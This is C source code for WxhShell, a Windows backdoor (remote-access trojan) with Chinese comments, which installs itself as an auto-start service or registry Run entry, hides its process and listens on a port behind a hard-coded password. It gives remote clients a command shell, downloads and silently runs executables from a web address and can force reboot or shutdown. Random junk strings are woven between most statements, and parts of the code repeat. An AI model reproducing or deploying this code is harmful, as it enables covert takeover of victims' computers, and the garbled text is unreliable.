g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a`b zFu{ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E? eWv)// |F@xwfgb if (!NtQueryInformationProcess) return 0; br;H8-
cPsn]U hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o.3YM.B# if(!hProcess) return 0; bk"k&.C^+ +O$: if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BCUt`;q ]B nt0\q'& CloseHandle(hProcess); J4v0O=" u}}9j&^Xa hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g(1B W#$ if(hProcess==NULL) return 0; Ft;u\KT ^@`e HMODULE hMod; =vr Y{5!> char procName[255]; mw(c[.*% unsigned long cbNeeded; hkwa ""- $HBT%g@UN if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3p3WDL7 hB7pR"P CloseHandle(hProcess); E
{KS a TD{=L*{+ if(strstr(procName,"services")) return 1; // 以服务启动 ,<$YVXe/ UV']NHh return 0; // 注册表启动 ~|'y+h89 } xY2}Wr
j, kOAY@a // 主模块 _}zo
/kDA int StartWxhshell(LPSTR lpCmdLine) J0Hm)* { p,w|=@= SOCKET wsl; Y@]);MyL BOOL val=TRUE; V~T`& int port=0; z|3`0eWIG struct sockaddr_in door; j,=*WG <AMb!?Obh if(wscfg.ws_autoins) Install(); B;GxfYj |^Ew< port=atoi(lpCmdLine); =t3vbV \5'O.*pr if(port<=0) port=wscfg.ws_port; /&]-I$G@ +urS5c*
j WSADATA data; [`.3f'")j if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ls"b#eFC# 5S%C~iB if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; [jl2\3* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (Qk&g"I door.sin_family = AF_INET; K85_>C%g door.sin_addr.s_addr = inet_addr("127.0.0.1"); pbDw Lo] door.sin_port = htons(port); I9}+(6 G{kj}>kS_ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *o02!EYge closesocket(wsl); ^\M
dl return 1; cQT1Xi } \6 \hnP ;Z ]<S_#- if(listen(wsl,2) == INVALID_SOCKET) { 3 ppuQQ closesocket(wsl); &/](HLdF return 1; Hp\Ddx >Jd } 5<89Af&&K8 Wxhshell(wsl); uR#'lb`3 WSACleanup(); `$S^E != },DyU return 0; jg[5UTkcs j%p CuC&" } GAv)QZyV$ =~J"kC // 以NT服务方式启动 $
!v}xY VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3->,So0Y { QU:EY'2 DWORD status = 0; sNm,Fmuz: DWORD specificError = 0xfffffff; Q0pzW:=s] <tFSF%vG= serviceStatus.dwServiceType = SERVICE_WIN32; 16I&7=S, serviceStatus.dwCurrentState = SERVICE_START_PENDING; uie~' K\y serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mx8Gu^FW.d serviceStatus.dwWin32ExitCode = 0; s=MT, serviceStatus.dwServiceSpecificExitCode = 0; T^~)jpkw serviceStatus.dwCheckPoint = 0; %yp5DD}| serviceStatus.dwWaitHint = 0; [s~JceUyX Y}ng_c hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eUt=n)*` if (hServiceStatusHandle==0) return; `gt:gx>a aD2*.ln>< status = GetLastError(); ~n
WsP}`n if (status!=NO_ERROR) ]}kI)34/ { X~lZ OVmS serviceStatus.dwCurrentState = SERVICE_STOPPED; czI{qi5N serviceStatus.dwCheckPoint = 0; S?L#N serviceStatus.dwWaitHint = 0; IAf$ ]Fh serviceStatus.dwWin32ExitCode = status; %tV32l= serviceStatus.dwServiceSpecificExitCode = specificError; PWvSbn6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); :r&iMb:Ra return; |8H_-n } e8,{|a ahA{B1M)n serviceStatus.dwCurrentState = SERVICE_RUNNING; 4U?<vby serviceStatus.dwCheckPoint = 0; 'WQdr( serviceStatus.dwWaitHint = 0; b6"}"bG if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R:~(Z? } Q"%S~' Q&xjF@I // 处理NT服务事件,比如:启动、停止 (S|a 9# VOID WINAPI NTServiceHandler(DWORD fdwControl) ca(U!T68 { 1"?]= j: switch(fdwControl) #--olEj! { _1
pDA case SERVICE_CONTROL_STOP: XA)'=L!^ serviceStatus.dwWin32ExitCode = 0; o'Wz*oY))\ serviceStatus.dwCurrentState = SERVICE_STOPPED; llq*T"7 serviceStatus.dwCheckPoint = 0; i5"5&r7r serviceStatus.dwWaitHint = 0; edijfhn { ;L~p|sF SetServiceStatus(hServiceStatusHandle, &serviceStatus); BC! 6O/kr } ZQAO"huk] return; ZjD)?4 case SERVICE_CONTROL_PAUSE: T|;@T^ serviceStatus.dwCurrentState = SERVICE_PAUSED; ?^9BMQ+ break; IkDiT63]I case SERVICE_CONTROL_CONTINUE: "_< 9PM1t serviceStatus.dwCurrentState = SERVICE_RUNNING; bb;(gK;F break; QXVC\@ case SERVICE_CONTROL_INTERROGATE: h/2/vBs break; OQp, 3M{_ }; +-BwQ{92[: SetServiceStatus(hServiceStatusHandle, &serviceStatus); l%~lz[ } yK1ie 4w4^yQE // 标准应用程序主函数 E]I$}>k int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~_>cM c { aD9q^EoEs B=n[)"5fBO // 获取操作系统版本 4^*,jS-9g} OsIsNt=GetOsVer(); UKtSm%\ GetModuleFileName(NULL,ExeFile,MAX_PATH); h2~4G)J HYCuK48F[_ // 从命令行安装 tfYB _N if(strpbrk(lpCmdLine,"iI")) Install(); 6w|J-{2 5o)Y$>T0 // 下载执行文件 Ws I>n if(wscfg.ws_downexe) { h
Dk)Qg if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GZ3 ]N WinExec(wscfg.ws_filenam,SW_HIDE); $f$|6jM } O
o8qyW "OmD@
EMT if(!OsIsNt) { ZU{4lhe // 如果时win9x,隐藏进程并且设置为注册表启动 Ps4 ZFX HideProc();
4!.(|h@ StartWxhshell(lpCmdLine); 3jZ6kfj } 0w=R_C)s else Bv6K$4 if(StartFromService()) ,7_4z]jK // 以服务方式启动 z>m=h)9d~ StartServiceCtrlDispatcher(DispatchTable); #8XL
:I else 9'[ N1Un.= // 普通方式启动 \ZI'|Ad StartWxhshell(lpCmdLine); ~" i0x k*mt4~KLT8 return 0;
rl08R } n.}E5%qK "IQ/LbOqm_ T;5r{{ K/=|8+IDL =========================================== YW/QC'_iC PcT?<HU
z4X}O
{
5=|hC3h r!PpUwod <h-vjz " `Ag{) *)M49a*UD #include <stdio.h> vw,rF`LjZ #include <string.h> Jg}K.1Hs #include <windows.h> Uu 8,@W+ #include <winsock2.h> h:Gu`+D>W #include <winsvc.h> phnV7D(E #include <urlmon.h> 6 5N~0t q@t0NvNSu #pragma comment (lib, "Ws2_32.lib") a2'^8;U*_ #pragma comment (lib, "urlmon.lib") y*pUlts< &|3
$!S #define MAX_USER 100 // 最大客户端连接数 i0$Bx> #define BUF_SOCK 200 // sock buffer }XO K,Hw #define KEY_BUFF 255 // 输入 buffer .sC?7O= -K9c@? #define REBOOT 0 // 重启 ~T&<CTh #define SHUTDOWN 1 // 关机 +_XzmjnDd n8*;lK8 #define DEF_PORT 5000 // 监听端口 [W%$qZlP /x_o!<M #define REG_LEN 16 // 注册表键长度 r\qj! #define SVC_LEN 80 // NT服务名长度 b2b^1{@h;v ?7<JQh)"e // 从dll定义API I)A`)5="5 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MrZh09y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fa'k0/_j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ):i&`}SY typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Llr>9(| ~HOy:1QhE= // wxhshell配置信息 28 8XF9B^ struct WSCFG { `c<;DhNO int ws_port; // 监听端口 .C 8PitS char ws_passstr[REG_LEN]; // 口令 GB$;n? int ws_autoins; // 安装标记, 1=yes 0=no IiY/(N+J char ws_regname[REG_LEN]; // 注册表键名 bGc~Wr| char ws_svcname[REG_LEN]; // 服务名 e,t(q(L char ws_svcdisp[SVC_LEN]; // 服务显示名 :<}=e@/~| char ws_svcdesc[SVC_LEN]; // 服务描述信息 5$V_Hj char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :yUEkm8 int ws_downexe; // 下载执行标记, 1=yes 0=no j#cYS*^H char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c-B
cA char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b )B?
F zuUW|r }; DRcNdO/1E 6@rMtQfI // default Wxhshell configuration `DV.+>O-1 struct WSCFG wscfg={DEF_PORT, 3AU;>D ^5 "xuhuanlingzhe", _lamn}(x0 1, xai*CY@cQ "Wxhshell", ogyTO|V= "Wxhshell", z6*X%6,8 "WxhShell Service", ,6-:VIHQ "Wrsky Windows CmdShell Service", ,yiX# ;j "Please Input Your Password: ", DGS $Ukz&T 1, Qk:Y2mL "http://www.wrsky.com/wxhshell.exe", o,_?^'@ "Wxhshell.exe" R%?9z 8- }; hDF@'G8F #qK:J;Sn3 // 消息定义模块 %J+E/ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \G*0"%!U char *msg_ws_prompt="\n\r? for help\n\r#>"; vSEuk}pk char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?l9XAWt\ char *msg_ws_ext="\n\rExit."; {\81i8b] char *msg_ws_end="\n\rQuit."; aDU<wxnSvO char *msg_ws_boot="\n\rReboot..."; ?8'*,bK char *msg_ws_poff="\n\rShutdown..."; i<#QW'R ( char *msg_ws_down="\n\rSave to "; 'Gj3:-xqL MN\HDKN char *msg_ws_err="\n\rErr!"; 3}}38A|4 char *msg_ws_ok="\n\rOK!"; o~`/_+ `sn^ysp char ExeFile[MAX_PATH]; {*G9|#[/@ int nUser = 0; Ayxkv)%:@) HANDLE handles[MAX_USER]; b,7k)ND1F int OsIsNt; T&6l$1J H?yK~bGQ SERVICE_STATUS serviceStatus; $a.JSXyxL SERVICE_STATUS_HANDLE hServiceStatusHandle; rC5
p-B% ]Sf]J4eQ // 函数声明 Cd#(X@n int Install(void); 0X6YdW _2X int Uninstall(void); ;U/&I3dzV int DownloadFile(char *sURL, SOCKET wsh); OP[@k int Boot(int flag); =$'6(aDH void HideProc(void); ]_f_w9] int GetOsVer(void); h4fJvOk|! int Wxhshell(SOCKET wsl); j#!IuH\] void TalkWithClient(void *cs); u^^[Q2LDU} int CmdShell(SOCKET sock); ]L5@,E4. int StartFromService(void); +%<(E int StartWxhshell(LPSTR lpCmdLine); 'j#*6xD em%4Ap VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); igCZ|Ru\ VOID WINAPI NTServiceHandler( DWORD fdwControl ); YvaK0p0Z rBQ _iB_ // 数据结构和表定义 R0KPZv- SERVICE_TABLE_ENTRY DispatchTable[] = \V;F/Zy( { P)Jgs {wscfg.ws_svcname, NTServiceMain},
dm\F {NULL, NULL} ,0M_Bk" }; 6AAz B-*+r`@Bd // 自我安装 `V}q-Zdy int Install(void) &GpRI(OB/+ { |mZxfI char svExeFile[MAX_PATH]; Kn5~d(: HKEY key; l!D}3jD strcpy(svExeFile,ExeFile); 5'OrHk;u h79}qU // 如果是win9x系统,修改注册表设为自启动 /CrSu if(!OsIsNt) { Kg{+T` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }7b%HTF= RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ROH|PKb7 RegCloseKey(key); Zu*F#s!tUI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q`Go`v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {5Q!Y&N.% RegCloseKey(key); S\CCrje return 0; (>LF(ll } OAgniLv } )v'WWwXY> } tHU 2/V:R else { )*$lp'~7N ^
gdaa>L // 如果是NT以上系统,安装为系统服务 /!0={G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /p/]t,-j2 if (schSCManager!=0) W_JlOc!y { KYB`D.O SC_HANDLE schService = CreateService l [dK[4 ( xB@ T|EP schSCManager, z}.e]|b^H wscfg.ws_svcname, v&6-a* <Z wscfg.ws_svcdisp, })'B<vq SERVICE_ALL_ACCESS, i}cRi&2[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B`EJb71^Xy SERVICE_AUTO_START, -{("mR&] SERVICE_ERROR_NORMAL, zrvF]|1UP svExeFile, !hm]fh_j NULL, Q-(zwAaE NULL, m&d|t>3< NULL, 49eD1h3'X[ NULL,
\__i NULL R7%#U`Q^A ); b]e"1Y)D- if (schService!=0) (|2t#'m { ]>!K3kB CloseServiceHandle(schService); .7J#_*NV CloseServiceHandle(schSCManager); ,Co|-DYf} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s9mx strcat(svExeFile,wscfg.ws_svcname); :'Vf
g[Uq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [z:!j$K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vz&|J
RegCloseKey(key); #`^}PuQ return 0; ;[ZEDF5H } juJklSD } 7^avpf)> CloseServiceHandle(schSCManager); "69s)~ } [+Iz@0q } R*,MfV poE0{HOU return 1; sJKI! } ZtNN<7 PI {bmZ // 自我卸载 Xg6Jh`` int Uninstall(void) ROI7eU { KYm0@O>; HKEY key; 9
ql~q A`%k:@ if(!OsIsNt) { z^B,:5Tt if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 70?\ugxA RegDeleteValue(key,wscfg.ws_regname); }FROB/ RegCloseKey(key); G[ PtkPSJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SO/c}vnBB RegDeleteValue(key,wscfg.ws_regname); 4>
K42m RegCloseKey(key); &u."A3( return 0; zpn9,,~u } %@b0[ZC } :U|1 xgB } LENq_@$ else { (TtkFo'!U M)Z7k/=<P SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K8|r&`X0 if (schSCManager!=0) FjHv { %6 zBSje SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5Pc;5
o0C if (schService!=0) mthA4sz { ma]F7dZ5 if(DeleteService(schService)!=0) { Vr)S{k-Q CloseServiceHandle(schService); Wtd/=gmiI CloseServiceHandle(schSCManager); &J]K3w1p return 0; #P9~}JB3, } 9.M4o[ CloseServiceHandle(schService); nF]W,@u"h } C[AqFo CloseServiceHandle(schSCManager); .NC!7+1m } !?jrf ]
A@ } EWhK0Vej= *KF#'wi return 1; oCv.Ln1;Z } qBQ?HLK- net@j#}j- // 从指定url下载文件 xIW3={b 3 int DownloadFile(char *sURL, SOCKET wsh) 8FK/~,I { BwEN~2u6 HRESULT hr; u~:y\/Y6 char seps[]= "/"; wWP}C D char *token; 1-uxC^u?|# char *file; 2jItq2.> char myURL[MAX_PATH]; |Zpfq63W char myFILE[MAX_PATH]; \:'/'^=#| `?rSlR@+[I strcpy(myURL,sURL); I]t!xA~ token=strtok(myURL,seps); qr^3R&z!} while(token!=NULL) 8'[7
)I= { -0 a/$h file=token; mDABH@R token=strtok(NULL,seps); M)+H{5bt } >8^
$ [}w !Pvf;rNI1T GetCurrentDirectory(MAX_PATH,myFILE); {6|G@""O strcat(myFILE, "\\"); rU:`*b< strcat(myFILE, file); 'F3f+YD send(wsh,myFILE,strlen(myFILE),0); nNV'O(x} send(wsh,"...",3,0); /9*B)m" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(N6i4
g6 if(hr==S_OK) %lhEM}Sm return 0; [PM2\#K else `2WFk8) F return 1; 6I4\q.^qw qJs<#MQ2 } tjGn|+|k $y &E(J // 系统电源模块 (,Q7@s int Boot(int flag) d#Y^>"|$. { . B9iLI HANDLE hToken; W~;`WR;. TOKEN_PRIVILEGES tkp; U^%Q}'UYym w~A{(-
dx if(OsIsNt) { o Q2Fjj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); QB uMJm LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +b<FO+E_ tkp.PrivilegeCount = 1; bKY7/w<dP tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L|:`^M+^w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *[Tz![| if(flag==REBOOT) { u#$]?($}d if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n8
i] z return 0; 0/MtYIYk } w^|*m/h|@u else { SCHP L.n if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EStB#V^ return 0; Xll}x+'uZK } 2!m/ } +H-6e P else { XbKYiy if(flag==REBOOT) { @[<><uTH if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u(>^3PJ+ return 0; R6Km\N } Fn;SF4KOm else { gnOt+W8 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8,4"uuI return 0; U0y% u } EF[@$j
} Ys!82M$g vXf!G`D return 1; @s;;O\ } HZC"nb}r4 3*"WG O5 // win9x进程隐藏模块 !Vn\u void HideProc(void) l'-Bu( { xQ-<WF1i wx=
$2N6 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q]ku5A\y if ( hKernel != NULL ) +US!YU { (z{#Eq4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 30#s aGV ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #uG%j FreeLibrary(hKernel); y|i,| } S]e|"n~@ )Xz,j9GzJS return; ;>EM[u } ifMRryN4 TCwFPlF| // 获取操作系统版本 en4k/w_ int GetOsVer(void) A@!qv#' { 'j8:vq^d OSVERSIONINFO winfo; oi&VgnSk winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 58tARL Dr GetVersionEx(&winfo); ~ ?Qe?hB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JW83Tp8[8 return 1; vAF
"n else Q^9_'t}X return 0; ,i?nWlh+ } mW(W\'~_~ Pe_W;q. // 客户端句柄模块 by1<[$8r int Wxhshell(SOCKET wsl) ul6]!Iy { 1Ti f{i,B SOCKET wsh; J@HtoTDO3 struct sockaddr_in client; YNyk1cE DWORD myID; 5,lEx1{_ $kdB |4C while(nUser<MAX_USER) e\`&p { ?DS@e@lx int nSize=sizeof(client); 5K1)1E/Fu wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ouvA~/5 if(wsh==INVALID_SOCKET) return 1; m/@wh a t:x\kp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
,h m\
if(handles[nUser]==0) PFlNo` iO closesocket(wsh); Fh&G;aEq else !OhC/f(GBZ nUser++; }<0BX \@I } PfAgM1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aB2FC$z #'nr
Er < return 0; w_"E*9 } e9Wa<i8 cN-?l7 // 关闭 socket )
yi
E@
X void CloseIt(SOCKET wsh) z3{G9Np { K-^\"
W8 closesocket(wsh); fZGX}T<)p- nUser--; ,a{P4Bq ExitThread(0); jh?H.;** } ?8H8O %Z8 8?B!2 // 客户端请求句柄 A_"w^E{P void TalkWithClient(void *cs) r Xt}6[S { #X+JHl 60^`JVGWH SOCKET wsh=(SOCKET)cs; ;RZ ) char pwd[SVC_LEN]; L Tm2G4+] char cmd[KEY_BUFF]; M~Tuj1? char chr[1]; y1jCg%'H int i,j; H*?t^ >mbHy<< while (nUser < MAX_USER) { XAD- 'i ;Zcswt8]u if(wscfg.ws_passstr) { 1fp? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]\-A;}\e //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F>SRs =_ //ZeroMemory(pwd,KEY_BUFF); p%up)]?0 i=0; rK8lBy:< while(i<SVC_LEN) { 6%\J"AgXO {LI=:xJJv // 设置超时 hk;5w{t}} fd_set FdRead; YH}'s>xZz struct timeval TimeOut; |MTnH/| FD_ZERO(&FdRead); ?>9/#Nv FD_SET(wsh,&FdRead); 0Uz"^xO[" TimeOut.tv_sec=8; M5LfRBO TimeOut.tv_usec=0; z#9aP&8 Q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MVpGWTH@F if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !NK1MU?T) dM.f]-g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B B{$&Oh pwd=chr[0]; "`/h#np if(chr[0]==0xd || chr[0]==0xa) { $j%'{)gK pwd=0; #"6Qj'/h break; /$Ir5=B } q~F| i++; olB.*#gA } )N{Pw$l_ 5+4IN5o]= // 如果是非法用户,关闭 socket EmWn%eMN if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oi7@s0@ } @Rze|
T. 3)wN))VBX send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3Y4?CM&0v send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PA{PD.4Du #FLb*%Nr while(1) { D(op)]8 x
M/+L:_< ZeroMemory(cmd,KEY_BUFF); )2KF}{ ,$L4dF3 // 自动支持客户端 telnet标准 Wx%H%FeK j=0; *\a4wZ6<3 while(j<KEY_BUFF) {
Ux!p8 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); & bm
1Fz cmd[j]=chr[0]; ?/E~/;+7= if(chr[0]==0xa || chr[0]==0xd) { w>&aEv/f cmd[j]=0; m,_Z6=I: break; yNJ B
oar }
!RS}NS j++; lN
4oW3QT } ;W
)Y
OT !x=~g"d<& // 下载文件 A0s ZOCky if(strstr(cmd,"http://")) { B2vh-%63 send(wsh,msg_ws_down,strlen(msg_ws_down),0); %g$o/A$ if(DownloadFile(cmd,wsh)) vkV0On send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?3`UbN: else 'W^YM@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U[-o> W# } a$OE0zn` else { N0Lw}@p '3tCH)s switch(cmd[0]) { M#6W(|V/ wH&!W~M
// 帮助 ;?iW%:_, case '?': { >z>!Luw send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zrgk]n;Pq break; H[$"+&q } R4cM%l_#W // 安装 c
( C%Hld case 'i': { b94DJzL1z if(Install()) #&aqKVY send(wsh,msg_ws_err,strlen(msg_ws_err),0);
Do7Tj else D_*WYV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YnAm{YyI break; x~~|.C, } .@U@xRu7| // 卸载 ASySiHz case 'r': { mR:uj2* if(Uninstall()) }2.`N%[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); v>)"HL"XG else Y"aJur=` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,m:.-iy? break; a~}OZ&PG } i%]EEVmN // 显示 wxhshell 所在路径 <0&*9ZeD case 'p': { 'Aq{UGN char svExeFile[MAX_PATH]; Yujiqi]J; strcpy(svExeFile,"\n\r"); aP+X}r strcat(svExeFile,ExeFile); IY\5@PVZ send(wsh,svExeFile,strlen(svExeFile),0); )'#A$ Fj break; m8hk:4Ae } [!#L6&:a8 // 重启 <)c)%'v case 'b': { IK=a*}19L send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c9u`!'g`i if(Boot(REBOOT)) u?(d gJ send(wsh,msg_ws_err,strlen(msg_ws_err),0); MaQqs= else {
:KP@RZm closesocket(wsh); k)=s>&hl ExitThread(0); H=vUYz
} Zt{[*~ break; qWPkT$ u } A[{yCn`tM // 关机 u^I|T.w<r6 case 'd': { 8^1 Te m send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e 2oa($9 if(Boot(SHUTDOWN)) vw/J8' send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0 ZKx<]! else { L\ "d closesocket(wsh); |3"KK ExitThread(0); %pL''R9VF } -- 95Jz break; Jk
n>S#SZ } s-Tv8goNV // 获取shell >@_^fw) case 's': { *P=VFP CmdShell(wsh); I-(zaqp@ closesocket(wsh); wJo}!{bN ExitThread(0); oAeUvmh break; #h
]g?*}OJ } aeM+ d`f // 退出 K?1W!fY case 'x': { ZKTz
, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xY(*.T9K CloseIt(wsh); 7[XRd9a5( break; JjTegQN } WW~sNC\3`( // 离开 \Uq(Zga4) case 'q': { I1M%J@ Cz send(wsh,msg_ws_end,strlen(msg_ws_end),0); `b7t4d* closesocket(wsh); ENs&RZ; WSACleanup(); ( ^Nz9{ exit(1); 7~.9=I'A break; `+:`_4 } ]Q)OL } /@TF5]Ri } BUXpCxQ BpPy& // 提示信息 c4eBt))}V if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y _k
l:Ssa } `Eo.v#< } w%jII{@, ; )@~ return; 1K50Z.o&@ } 1^JS Dd R8Fv{7]c // shell模块句柄
o`z]|G1'' int CmdShell(SOCKET sock) P{lB50 { Z o(rTCZX STARTUPINFO si; v;D~Pa ZeroMemory(&si,sizeof(si)); H8}oIA"b si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s
R/F" si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k>si5'W PROCESS_INFORMATION ProcessInfo; 7n<::k\lb char cmdline[]="cmd"; 5MJS
~( CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z[qDkL return 0; R`E ~ZWC4V } a~y'RyA B>P{A7Q // 自身启动模式 uiR8,H9*M int StartFromService(void) PtiOz
:zV { ,UF_`| typedef struct 4zFW-yy { )|#sfHv7 DWORD ExitStatus; RPL:- DWORD PebBaseAddress; 5M*:}* DWORD AffinityMask; di )L[<$DY DWORD BasePriority; JYHl,HH#z ULONG UniqueProcessId; [FR`Z=% ULONG InheritedFromUniqueProcessId; YNsJZnGr8# } PROCESS_BASIC_INFORMATION; G2:
agqL/ kc`Tdn PROCNTQSIP NtQueryInformationProcess; 8&b,qQ~ tf`^v6m%] static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^SrJu:Q_ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9V*qQS5<p IF:;`r@% HANDLE hProcess; i?^L/b`H PROCESS_BASIC_INFORMATION pbi; FJ)$f?=Qd X$W~mQma6 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gV_}-VvP if(NULL == hInst ) return 0; ge8ZsaiU draN0vf g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); a<bwzX|. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kc&U'&RgY NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1o{Mck
.U]-j\ if (!NtQueryInformationProcess) return 0; ^s"R$?;h WNrk}LFof hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .eVG:tl\ if(!hProcess) return 0; XU(eEnmom gc$l^`+M if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @|YH|/RF @b2aNS<T CloseHandle(hProcess); 9p(.A$ -e:`|(Mo hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $yNS
